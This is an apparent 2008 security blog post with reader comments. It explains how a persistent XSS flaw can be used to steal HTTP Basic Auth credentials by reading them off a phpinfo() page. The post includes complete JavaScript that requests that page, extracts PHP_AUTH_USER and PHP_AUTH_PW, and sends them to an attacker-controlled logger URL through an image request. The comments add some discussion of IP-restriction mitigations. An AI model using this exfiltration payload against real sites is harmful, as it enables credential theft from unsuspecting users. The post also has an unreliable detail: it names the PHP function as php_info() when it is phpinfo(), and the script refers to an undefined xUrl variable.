Thursday, March 6, 2008

Stealing Basic Auth with Persistent XSS - Part 2

I found a better way to steal basic auth credentials using XSS, and it uses the same principal as cross site tracing. Basically, you need to get the web server to reflect either the authorization header or the user credentials in its HTML output. Once the data is accessible in the HTML, you can access it using JavaScript, and by-pass the same origin policy.

The mitigating factor here is that servers don't always conveniently do this for you. Fortunately, many PHP applications, including the one I was testing, will have an arbitrary PHP test page somewhere in the web root. These test pages usually use the php_info() function to display server info and confirm to the admin that the machine is functioning.

Among other server config details, the php_info() method also displays the user name and password of the currently logged in user. Here is one example of this script out in the wild. The source is basically:
<?php
php_info();
?>

Drop that source code into a .php file on your server, protect it with basic auth, and then access the script and enter your creds. Scroll down and you will see your credentials in the HTML output.

When you have an XSS vulnerability, you can use XMLHTTP to request the php info URL, parse out the data, and send it off to a server you control. Below is some sample JavaScript to do just this.

function splitit(stringy) {
var cut = stringy.split(' ');
return cut[0]
}

function fetch(url) {

var xmlhttp = false;

try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}

if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}

xmlhttp.open("GET", xUrl,true);
xmlhttp.onreadystatechange=function() {

if (xmlhttp.readyState==4) {
// return xmlhttp.responseText;
}
}
xmlhttp.send(null);
return xmlhttp.responseText;
}
var resp = fetch('php1.php');
var SplitUser = resp.split('PHP_AUTH_USER"]');
var SplitPass = resp.split('PHP_AUTH_PW"]');
if (SplitUser.length > 1){
var username = splitit(SplitUser[1]);

}
if (SplitPass.length > 1){
var password = splitit(SplitPass[1]);

}
document.images[0].src = 'http://yourserver/kl/logger1.asp?key=' + username + '|' + password;

5 comments:

Anonymous said...

So would this also be a problem, if protected by basic auth...assuming the attacker did not have access to your public IP?

<?PHP
if ($_SERVER["REMOTE_ADDR"]=="000.000.000.000") {
echo "\r\n<br>";
echo phpinfo();
}else{
header("HTTP/1.1 403 Forbidden");
header("Connection: close");
}
?>

Mike Zusman said...

This will make it MUCH harder for an attacker to discover that the script is serving phpinfo() in the first place.

But the vulnerability will still be there. If you are coming from the appropriate IP, the attacker has control of your browser via XSS, and he knows the URL serving phpinfo(), then the attack will still work.

Thanks for the comment.

Anonymous said...

Thanks for the response.

I should have thought of the XSS problem. I've taken steps to prevent that from occurring.

Love your Blog. Wish more people would comment.

weaktight said...

I recently had my website hacked. They stole all my source code. Could this method have been used?

Mike Zusman said...

@weaktight: It's possible, but unlikely. There are a multitude of other attack vectors in PHP applications that could allow someone direct access to your source code.

Check out http://www.securereality.com.au/studyinscarlet.txt